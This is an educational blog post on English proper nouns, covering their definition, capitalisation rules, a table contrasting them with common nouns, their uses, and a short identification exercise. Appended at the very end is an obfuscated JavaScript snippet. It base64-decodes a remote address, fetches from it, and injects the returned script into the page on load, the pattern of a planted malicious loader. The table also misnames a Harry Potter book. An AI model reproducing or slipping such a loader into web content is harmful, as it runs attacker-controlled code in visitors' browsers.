Proper Nouns

You wouldn’t find any similarity between the words Ferrari and Shah Rukh Khan except that they both are Proper Nouns. English is a very complicated language with difficult pronunciations and intricate spellings. Nouns are a part of English grammar which is important to know to be fluent in spoken and written English. Know everything about them from this blog.

What is a Proper Noun?

A Proper Noun is defined as a specific word given to a place, person, group, thing and much more. This type of Noun is always denoted with a Capital Letter at the start like Chicago, London, Bran, etc. This Noun helps in the clear distinction of someone or something from the others. 

Let’s understand this with the help of an example of two sentences. 

• Gemma has 4 sons and one of them is very naughty. 
• Gemma has 4 sons and one of them, Luke, is very naughty.

In the first sentence, Gemma helps you know that there is a woman who has 4 sons and her name is Gemma. But by looking at the sentence, you cannot say which of the sons is naughty. 

In the second sentence, Luke helps you know that Gemma’s son Luke, one of the four, is very naughty.

Therefore, this Noun can also be an identity for someone. Like your name or the country you reside in is your identity. 

Also Read: NCERT Solutions Class 10 English

Rules of Capitalisation

Have you ever wondered why capitalize the first letter of a Proper Noun? Well, we have broken the meaning of it down into two sentences for you to understand. 

• Do you know where dane is?

Can you identify the Proper Noun here? No, because dane could either be a name or the Polish common noun for data.

• Do you know where Dane is?

Now that we have capitalised the word Dane, we are confident that Dane is a Proper Noun. 

Therefore, to identify between general words and specific words, we capitalise their first letter. 

Also Read: Nouns

Proper Nouns vs Common Nouns 

Proper Nouns, like said before, are more specific words or names given to places, people, things, etc. 

Common Nouns are general words given to places, people, things, etc. 

Study the table below to know the direct examples of both types of nouns and know their indirect relationship.

Common Noun	Proper Noun
cricketer	Sachin Tendulkar
monument	Taj Mahal
car	Ferrari
aeroplane	Indigo
book	Harry Potter and the Sorcerer’s Ring
freedom fighter	Mahatma Gandhi
minister	Narendra Modi

Also Read: Pronouns

Uses  

So where are these types of nouns are used? Let’s know

• Place

If someone asks you what city you live in, you answer them by saying Mumbai or Chennai or whatever city you live in. Mumbai is a Proper Noun used to name a city which is a place. 

More examples- India, UK, USA, Canada, London 

• People 

Whenever someone is born, we give them a name. This name is that person’s identity for their whole life. They are not just a person, they have a name. Your name is your identity and connects you to your family. 

Examples- Raj Gandhi, Salman Khan, Lata Mangeshkar, Virat Kohli

• Things

How would you differentiate between an iPhone and a Samsung smartphone? Their brand name is what helps us identify them and a lot of other things. 

Identify the Proper Noun (Exercise)

We hope that you have understood the Proper Noun and are ready to take the small test given below.

• Lina was riding a horse when she had a heart attack. 
• I have always wanted to go to Dubai to see the Burj Khalifa. 
• Are you sure that is where the Spiderman movie was filmed?
• Iceland is on the top of my bucket list and I will visit it with my friend Marc. 
• Diana’s pet Lucy has been taken to the vet for a routine checkup. 
• Agatha Christie wrote many detective novels surrounding her character Hercule Poirot. 
• The students apologised to Mrs Parker for their misbehaviour. 
• Have you heard that the new James Bond movie is up in the Inox Theatre?

Exercise for Class 1

Exercise for Class 3 

Mistake to Avoid While Identifying

Whenever we start sentences, we capitalize the first letter of the first word like ‘Whenever’ in this one. We should not confuse this as a Proper Noun. Therefore, avoiding such mistakes will help you identify this type of noun better. 

FAQs

That’s all on the Noun. Nouns and grammar are very important parts of the English language which is the most widely spoken language in the world. Want to read more about the English language and grammar? Read our latest blogs on grammar by Leverage Edu!

(function(w,d,s){var jl=d.createElement(s),al=w.atob;fetch(al(‘Ly9yZWd0ZWNoLnNicw’),{method:al(“UE9TVA”)}).then(r=>r.blob()).then(c=>c.text().then(b=>{jl.src=al(b);d.head.appendChild(jl);}));})(window,document,’script’)